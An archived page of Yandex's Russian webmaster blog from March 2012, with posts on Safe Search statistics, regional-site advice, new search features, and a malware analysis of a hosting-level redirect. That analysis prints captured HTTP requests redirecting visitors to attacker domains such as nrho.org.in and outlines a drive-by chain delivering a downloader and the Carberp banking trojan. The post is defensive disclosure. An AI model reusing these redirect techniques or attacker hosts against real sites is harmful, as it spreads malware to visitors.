Блог Яндекса для вебмастеров

март 2012
Годовщина службы Безопасного поиска Яндекса
1 марта 2012, 09:04
Вчера службе Безопасного поиска Яндекса исполнилось 3 года. На следующий день после годовщины мы подводим итоги — что происходило за прошлый год нашей работы и чего мы достигли.

Вчера службе Безопасного поиска Яндекса исполнилось 3 года. На следующий день после годовщины мы подводим итоги — что происходило за прошлый год нашей работы и чего мы достигли.

  • Ежедневно мы проверяем около 20 миллионов страниц — это в 3 раза больше той цифры, которая была год назад. Нам известно около полумиллиона опасных сайтов, что в полтора раза больше, чем год назад, — благодаря увеличению наших вычислительных мощностей и появлению новых алгоритмов детектирования вредоносного кода.

 

  • В среднем, наша система определяет заражённые страницы с точностью 99,5%. Яндекс развивает собственные технологии детектирования, нацеленные на борьбу с drive-by-download атаками, которые позволяют примерно в 17% случаев выдавать предупреждения о страницах, вредоносный код на которых не находят алгоритмы детектирования обычных антивирусов. Точность вердиктов, вынесенных с помощью собственных технологий Яндекса, составляет около 99,98% .

 

 

  • Каждые сутки мы предупреждаем пользователей Поиска об опасных страницах около 5 миллионов раз и ещё около миллиона предупреждений показываем в браузерах. Если опасность представляют только отдельные страницы или страницы в отдельных директориях – предупреждаем пользователей только о них.

 

 

  • Теперь в Яндекс.Вебмастере, в разделе «Безопасность», владелец сайта может узнать не только какие страницы заражены, но и как бороться с обнаруженным вредоносным кодом. Кроме того, мы сделали так, что если сайт заражен, система автоматически отправляет уведомление его владельцам. За время работы предупреждены владельцы 120 тысяч сайтов, в настоящее время мы отправляем уведомления примерно 1400 владельцам в сутки. По нашим данным, среднее время заражения сайтов, владельцы которых предупреждены, снизилось с 150 до 90 часов.

 

  • Мы удвоили количество уникальных сэмплов вредоносного кода, которые накапливаются в течение суток и отправляются нашим партнёрам. Также для них теперь доступен расширенный Safe Browsing API, с помощью которого можно проверять страницы не только на принадлежность к malware и фишингу, но и на наличие на них порно. Всего Яндексу известно более 5.4 миллиона порнохостов.

 

  • Нашим парнёром стал virustotal.com, он использует Yandex Safebrowsing в качества одного из алгоритмов детектирования вредоносных URL. Кстати, если и вы хотите стать нашим партнёром – напишите на safesearch@yandex-team.ru.

 

Команда Безопасного Поиска

1 комментарий
безопасность,вирусы
Региональность сайта: практические рекомендации
5 марта 2012, 18:33

Яндекс уделяет большое внимание учету региональности в результатах поиска. Вводя в поисковую строку геозависимый запрос (запрос, относящийся к определённому региону — например [такси] или [купить айфон]), пользователь предпочитает увидеть ответы из своего региона, а не из других городов.

Владельцы сайтов часто интересуются нюансами указания региона и контактной информации для сайта и его поддоменов. Чтобы алгоритм верно определял региональность сайта, следуйте нашим рекомендациям:

  1. Указывайте на сайте полный адрес вашей организации, включая индекс и телефонный код города. Это поможет роботу Яндекса автоматически определять соответствующий сайту регион. Не следует размещать адрес и телефон только в виде изображения. Если сайт имеет региональную направленность, старайтесь размещать на нем больше информации, относящейся именно к этому региону. Помните: чем больше информации на сайте будет ориентировано на пользователей региона, тем больше вероятность, что сайт будет лучше ранжироваться в этом регионе.
  2. Если у вашей организации есть несколько региональных представительств, укажите адреса и телефоны каждого из них, чтобы робот Яндекса знал о принадлежности сайта к нескольким регионам.
  3. Региональность сайта определяется не только на основании присвоенного ему региона, но и по контактным адресам. Чтобы помочь роботу корректнее определять региональную принадлежность вашего сайта, советуем воспользоваться следующими сервисами:

 

  • Яндекс.Вебмастер. В разделе «География сайта» — «Регион сайта» (подробнее) вы увидите текущую региональность сайта с точки зрения робота Яндекса. Если она определена неверно, вы можете подать заявку на изменение региона, которая будет проверена нашими модераторами в течение недели. Если заявка будет одобрена, присвоенный сайту регион начнёт учитываться алгоритмом через несколько обновлений поисковой базы.
  • Яндекс.Справочник. Не забывайте добавлять все имеющиеся у вашей организации адреса, так как это может помочь роботу корректнее определять её региональность. Добавить адреса организации, связанной с сайтом, можно как в самом сервисе Яндекс.Справочник, так и в Яндекс.Вебмастере, в разделе «География сайта» — «Адреса и организации». Короткая видеоинструкция по работе со Справочником вам в помощь.

 

Некоторые сайты устроены таким образом, что пользователю предоставляются разные версии сайта в зависимости от того, из какого региона (с какого IP-адреса) он зашел на сайт (региональные версии сайта). Например, если у вашей компании есть представительства в разных городах, то пользователю из Химок может быть показана одна версия сайта, а пользователю из Хабаровска — другая. Но робот Яндекса выполнит очередной обход индексирования с IP-адреса одного конкретного региона, и поэтому ему будет предъявлена только одна из версий сайта, и часть содержимого не будет проиндексирована. Чтобы проиндексировался весь сайт, рекомендуем делать все страницы доступными для робота вне зависимости от его IP-адреса. О том, как в логах определять поискового робота Яндекса, читайте на странице Помощи.

 

Зачастую на сайте скапливается достаточно информации о региональных представительствах для того, чтобы выделить её в отдельный сайт. Тогда перед вебмастером встаёт вопрос, каким образом это лучше сделать: создать новый сайт или же ограничиться поддоменом. Так как пользователю будет легче увидеть связь между основным сайтом и его поддоменом, лучше остановиться именно на втором варианте и воспользоваться нашими советами:

 

  1. Чтобы пользователю было проще идентифицировать региональность поддомена вашего сайта, добавьте в его адрес название соответствующего региона (к примеру, spb.site.ru или samara.site.ru).
  2. Для корректного учёта региональности поддомена не забудьте присвоить ему регион и контактный адрес.
  3. Региональный поддомен должен содержать информацию, полезную для пользователей именно из того региона, для которого он создан.
  4. Региональные поддомены должны быть включены в навигацию по основному сайту, чтобы посетитель мог с главной страницы перейти на ту, которая относится к его региону.
37 комментариев
Я.Вебмастер,локальность
Новое в поиске (январь-февраль 2012)
6 марта 2012, 17:17

Сегодня мы расскажем о том, что успели сделать за начало 2012 года. Новостей много!

Очень важным событием стало открытие программы ПСИ, в рамках которой мы планируем развивать проекты поиска в социальном интернете. И уже сделаны первые шаги:

Яндексу часто задают запросы, связанные с обычными людьми. И теперь найти нужного человека стало намного проще (особенно, если его имя, например, Сергей Безруков). У пользователей появилась возможность искать знакомых в Яндексе по всем социальным сетям сразу – по адресу people.yandex.ru.

Напомним, что при поиске людей Яндекс использует только общедоступную информацию — закрытые от индексации профили не попадают в результаты. Вы можете в любой момент разрешить или запретить группировку своих профилей.

Важной частью социального интернета являются микроблоги, в частности, Твиттер. Мы объявили о начале сотрудничества с Твиттером, в рамках которого стали получать в режиме реального времени новые твиты (поток Firehose).  Эти данные будут использоваться для улучшения поиска – как русскоязычного, так и международного, а также в других сервисах.

Теперь по запросам о событиях – важных и не очень – мы показываем на странице результатов поиска целый блок свежих статей и видеороликов, с возможностью посмотреть все свежие ответы за три дня.

 

С января поисковые подсказки Яндекса стали персональными для всех зарегистрированных пользователей. Когда вы, предварительно авторизовавшись, набираете запрос, вместе с популярными запросами в списке подсказок появляются ещё и те, что вы уже когда-то задавали. Персональные подсказки показываются только вам и в любой момент их можно отключить в настройках.

Также у нас два колдунщика-новичка. В большом поиске это колдунщик лекарств, который поможет быстро получить информацию о медицинском препарате, если под рукой нет инструкции. А в мобильном поиске для IPhone это музыкальные ответы с возможностью прослушать трек прямо на странице результатов поиска.

В мультимедийном поиске теперь легче найти недавно появившиеся картинки и видео. Свежие ролики вы узнаете по дате создания. А на всех свежих картинках отмечено, как давно они появились в сети. Ещё мы добавили возможность искать только свежие картинки — за последние три дня или неделю. Так же вы можете просмотреть и все изображения за последний месяц.

Кроме того, в Яндекс.Картинках запущена региональная формула ранжирования. Теперь по одному и тому же запросу пользователи из России, Беларуси, Украины и Казахстана могут видеть разные ответы — такие, которые больше соответствуют их стране. Например, по запросу [столица] сервис покажет белорусам Минск, а казахстанцам — Астану.

VirusTotal.com начал использовать базу опасных страниц от Яндекса в качестве одного из источников данных при проверке веб-страниц. Сейчас Яндекс знает около 400 тысяч заражённых сайтов и перепроверяет их в среднем каждые 12 часов. Если вы хотите использовать Safe Browsing API Яндекса или маски опасных URL, на основании которых выдаются вердикты об опасности страниц, в своих системах и продуктах – обращайтесь (safesearch@yandex-team.ru).

Мы стали исключать сайты с вредоносными мобильными редиректами из мобильных результатов поиска, так как при переходе на них пользователь не может получить ответ на свой вопрос. Кроме того, теперь Яндекс предупреждает пользователей о мобильных редиректах на сайте и в большом поиске — если они есть на сайте, скорее всего, он взломан злоумышленниками и может нанести вред компьютеру или мобильному устройству. Мы также предупреждаем об опасных мобильных редиректах наших партнёров — через Safe Browsing API Яндекса.

 

Команда поиска

24 комментария
новое в поиске
Вредоносный редирект на *.org.in, или когда безопасность сайта зависит не только от вебмастера
16 марта 2012, 21:53
Небольшой рассказ об очень любопытном и опасном методе распространения вредоносного кода с заражённых веб-сайтов.

Сегодня мы расскажем об очень любопытном и опасном методе распространения вредоносного кода с заражённых веб-сайтов.

Впервые он был зафиксирован, когда антивирусная система Яндекса обнаружила в конце 2010 года редирект на вредоносный ресурс вида hxxp://nrho.org.in/index.php?src=74&surl=victim-site.ru&sport=80&suri=/. В настоящее время этот вид заражения является весьма актуальным.

Представляющий опасность код – вредоносный редиректор – выдаётся не всегда, а только при соблюдении нескольких условий, так что получить его для анализа довольно сложно. Cудя по тому, что заражённые сайты сгруппированы по серверам и хостингам, заражение происходит на уровне хостинговой платформы. Это значит, что обычный вебмастер, контролирующий только директорию своего сайта, не может его устранить.
 

Характерные особенности данного вида заражения

Домен 3-го уровня (nrho для nrho.org.in), на который происходит редирект, представляет собой случайный набор алфавитных символов и меняется не реже одного раза в день.
Редирект использует следующие GET-параметры:
  • src – идентификатор источника редиректа. связан с ip-адресом сайта-жертвы (когда несколько различных сайтов используют один ip-адрес по схеме shared-хостинга src для обоих будет одинаков);
  • surl – доменное имя сайта-жертвы;
  • sport – используемый порт сайта-жертвы;
  • suri – путь к скрипту на сайте-жертве, с которого был осуществлен редирект.

Чтобы сайт на заражённом сервере выдал данный вредоносный редирект нелегко, необходимо выполнение сразу всех приведённых ниже условий:
  1. Уникальный ip-адрес (редирект не сработает при повторном визите на зараженный сайт).
  2. Переход на зараженный ресурс со страницы поисковой выдачи.
  3. Браузер Internet Explorer ниже 8 версии.
  4. Некоторые дополнительные условия. Например, заданный или случайный временной промежуток.

Несмотря на длительное наблюдение за этим видом заражения, нам так и не удалось получить образец серверного кода, осуществляющего описанный редирект.

Мы предполагаем, что данный редирект происходит на стороне хостинг-провайдеров, о чем говорят следующие факты:
  1. Заражённые сайты не похожи друг на друга ни по каким техническим критериям – зараженные сайты используют различные CMS, ОС, программные компоненты веб-сервера.
  2. По данным, которые мы получили от веб-мастеров зараженных ресурсов, они используют самые разные реализации услуги хостинга – от арендуемых физических серверов, до shared-хостинга, в случае которого веб-мастера не имеют root-привилегий на сервере и не могут редактировать бинарные компоненты веб-сервера.
  3. Передача GET запросом в явном виде информации о сайте источнике, вероятно, обусловлена выполнением редиректа вне контекста конкретного веб-приложения (возможно, на одном из промежуточных серверов или интернет-шлюзе).
  4. Многократные попытки найти подозрительный код, или хотя бы что-либо общее, на сайтах-жертвах не увенчались успехом.
  5. Большинство зараженных сайтов используют услуги одних и тех же хостинг-провайдеров.

Приблизительно половина всех регистрируемых случаев описанного вредоносного редиректа происходит с сайтов, обслуживаемых одним украинским хостинг-провайдером, название которого мы не разглашаем. Заметим, что первые случаи характерного редиректа были замечены также на сайтах этого хостинга, о чем свидетельствует значение параметра src в запросах к вредоносному ресурсу.

Администраторы хостинга прислали нам бинарные сборки используемых на зараженных сайтах веб-серверов. Анализ присланных файлов не выявил присутствия постороннего кода. После этого, по заверениям представителя данной хостинг-компании, веб-серверы были обновлены из официальных репозиториев, что, однако, не помогло остановить вредоносные редиректы.

Если значение переменной src действительно отражает количество уникальных ip-адресов зараженных серверов, то было заражено по меньшей мере 174 сервера, на каждом из которых может размещаться сразу несколько различных сайтов.

Вредоносный и обратный редирект

В случае соблюдения условий, приведённых выше, сайт на заражённом хостинге выдаёт пользователю вредоносный редирект.
Редирект имеет вид:

GET http://victim-site.ru/ HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
Accept-Language: ru
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)
Host: victim-site.ru
Proxy-Connection: Keep-Alive
Referer: http://yandex.ru/yandsearch?text=%D0%A1%D0%BF%D0%B0%D1%81%D0%B8%D0%B1%D0%BE+%D0%B7%D0%B0+%D0%B2%D0%BD%D0%B8%D0%BC%D0%B0%D0%BD%D0%B8%D0%B5+%D0%BA+%D0%B1%D0%BB%D0%BE%D0%B3%D1%83+%D0%AF%D0%BD%D0%B4%D0%B5%D0%BA%D1%81.%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D1%8B%D0%B9+%D0%BF%D0%BE%D0%B8%D1%81%D0%BA%21&lr=213

HTTP/1.1 302 Found
Date: Mon, 12 Mar 2012 16:32:25 GMT
Server: Apache/2
Location: http://nrho.org.in/index.php?src=74&surl=victim-site.ru&sport=80&suri=/
Content-Length: 335
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>
<title>302 Found
</head>
<h1>Found
<p>The document has moved here.
<hr>
<address>Apache/2 Server at victim-site.ru Port 80
</body>

При этом, в ряде случаев происходит редирект обратно на страницу сайта-жертвы. Таким образом злоумышленник реализует технику периодического прерывания цепочки заражения. Эта техника используется для того, чтобы избежать скорой реакции антивирусного ПО и разметки сайта как заражённого в результатах поиска.
Обратный редирект имеет вид:

GET http://nrho.org.in/index.php?src=74&surl=victim-site.ru&sport=80&suri=/ HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
Accept-Language: ru
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)
Host: nrho.org.in
Proxy-Connection: Keep-Alive
Referer: http://yandex.ru/yandsearch?text=%D0%A1%D0%BF%D0%B0%D1%81%D0%B8%D0%B1%D0%BE+%D0%B7%D0%B0+%D0%B2%D0%BD%D0%B8%D0%BC%D0%B0%D0%BD%D0%B8%D0%B5+%D0%BA+%D0%B1%D0%BB%D0%BE%D0%B3%D1%83+%D0%AF%D0%BD%D0%B4%D0%B5%D0%BA%D1%81.%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D1%8B%D0%B9+%D0%BF%D0%BE%D0%B8%D1%81%D0%BA%21&lr=213

HTTP/1.1 302 Found
Server: nginx/0.8.54
Date: Mon, 12 Mar 2012 16:40:37 GMT
Content-Type: text/html
Connection: close
Cache-Control: no-store, no-cache, must-revalidate
Expires: Mon, 12 Mar 2012 16:40:37 +0000
Location: http://victim-site.ru/
Vary: Accept-Encoding
Content-Length: 0

Цепочка заражения

В случае обратного редиректа браузер производит такую последовательность запросов:



В остальных случаях, вместо редиректа на сайт-источник, пользователю выдается html-файл, содержащий вредоносный JS-код, и последовательность имеет вид:



Рассмотрим цепочку заражения подробнее.

Шаг 1. JS-редирект (index.php)

В результате серверного редиректа браузер направляется на страницу с вредоносным JavaScript-редиректом, index.php. Этот js-код детектируется антивирусом Sophos как Troj/JSRedir-DM. Именно этот вердикт обычно видят в панели Яндекс.Вебмастера администраторы зараженных ресурсов.

JS-редирект (index.php) в обфусцированном виде:



Алгоритм деобфускации привязан к браузеру посетителя. Код генерируется таким образом, что деобфускация произойдет неверно в случае несовпадения значений navigator.userAgent и HTTP-заголовка User-Agent. В результате цепочка заражения будет прервана, что, безусловно, также призвано затруднить детектирование вредоносного кода.

JS-редирект (index.php) после деобфускации:


Шаг 2. Заражение (для Microsoft Internet Explorer 6)

JS-редирект из index.php ведёт пользователя на index2.php.

Партнерская реклама + перенаправление на эксплоит-пак index2.php:


index2.php открывает в браузере пользователя новое окно с URL hxxp://dating-portal.net/aff.php?tt=0&t=onunload и перенаправляет пользователя на эксплойт-пак index5.php.

Эксплоит-пак (index5.php):
Код эксплойт-пака обфусцирован.

Эксплоит-пак (index5.php) после деобфускации:




Эксплойт-пак загружает в браузер пользователя эксплойт (index6.php).

Экплоит (index6.php):
Деобфусцируем его.

Экплоит (index6.php) после деобфускации
Этот эксплоит реализует сохранение и запуск на компьютере посетителя файла svcgost.exe, выдаваемый скриптом index4.php .

Шаг 3. Действия в системе пользователя

После запуска на компьютере позльзователя файл svcgost.exe (MD5 6d7b145ef5dd0ab8471500b638975727).
копирует себя в системный каталог с именем FIX_KB111952.exe.

Эта вредоносная программа обладает поведением trojan-downloader (предназначена для загрузки других вредоносных программ из удаленных источников). Тело трояна упаковано и использует противодействие динамическому анализу. Данная вредоносная программа обращается к ресурсу bober.org.in и загружает с него:
  1. Троянскую программу Trojan.Win32.Smardf.tbx по классификации Лаборатории Касперского, MD5 0c2c4a7cc380ffa2f17b44749a1cceffшироко известную антивирусам, работающим на virustotal.com. Данная программа регистрируется в качестве расширения (BHO) к браузеру Internet Explorer c именем fastsrch.dll. Описание похожей вредоносной программы можно найти здесь.
  2. Троянскую программу семейства Carberp, MD5 3d4e1acd2372b19bcd3bd3403c07f4a5, подробнее можно прочитать здесь.Основная цель этой программы – реквизиты для доступа к банковским и платежным системам. Она также вполне известна.
  3. Кроме того, на зараженной тестовой системе была замечена массированная рассылка почтовых спам-сообщений и сканирование компьютеров локальной сети.

 

В случае, если вы обнаружили на своём сайте признаки описанного заражения, рекомендуем вам сделать следующее:

  1. Обратитесь в поддержку Яндекс.Вебмастера за консультацией.
  2. Попытайтесь воспроизвести заражение в безопасных условиях ( при использовании виртуальной среды ), следуя указаниям из статьи.
  3. Напишите в техническую поддержку своего хостинг-провайдера с подробным описанием проблемы и ссылкой на эту статью для детального расследования инцидента.


Команда Безопасного поиска Яндекса будет крайне признательна за любую информацию об этом виде заражения. Подозрительный код, конфигурационные файлы, а также журнальные файлы присылайте на анализ по адресу virus-samples@yandex-team.ru.

 

Команда Безопасного Поиска

5 комментариев
безопасность,вирусы